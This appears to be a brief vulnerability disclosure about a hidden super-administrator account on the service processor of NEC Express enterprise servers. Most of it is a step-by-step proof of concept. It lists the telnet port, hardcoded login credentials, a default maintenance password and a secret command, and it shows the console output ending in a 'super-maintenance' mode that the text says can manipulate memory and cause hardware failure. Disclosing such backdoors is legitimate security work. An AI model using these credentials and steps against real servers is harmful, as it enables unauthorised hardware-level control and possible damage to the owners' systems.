NEC Backdoor Administrative Account

NEC Corp. has a product line of high perfomance servers
- http://www.nec.com.sg/index.php?q=products/enterprise-servers

In the documentations it is said that there is two user privilege
levels:

1. Common user - who can monitor the system status

2. Admin user - for configuring system hardware

but there is another very high privilege user, who can manipulate
memory and produce hardware falure.


POC

Connect to the service processor of the NEC Express server with the
telnet client on port 5001:


Integrated Service Processor.

Cabinet-ID:xx, Location:y, State:ssssss

iSP login: spfw<ENTER>

iSP password: nec<ENTER>

Copyright (C) 2005 NEC Corporation, All Rights Reserved.

Welcome to Integrated Service Processor.

iSP FW version : 01.00 generated on 01/01/2005 19:20:33

iSP MAIN MENU

0) OS(BIOS) serial console of partition#0 (INITIALIZING )

1) OS(BIOS) serial console of partition#1 (RUNNING )

V) Virtual System Operator Panel

S) iSP commands

E) Exit

DISCONNECTALL) disconnect all console connections

iSPyz> s<ENTER>


Go to maintanance mode with the command "cm", default password mainte

Now at the command mode enter (With the periods at the end):


iSP0m:MNT> nec=topvendor.

??? : good-bye.

Command mode was changed to super-maintenance mode.

BE CAREFUL to use each command.

iSP0m:@@@>


you now have super admin rights at the hardware level of the
supercomputer!

References:

http://www.nec.com.sg/index.php?q=products/enterprise-servers



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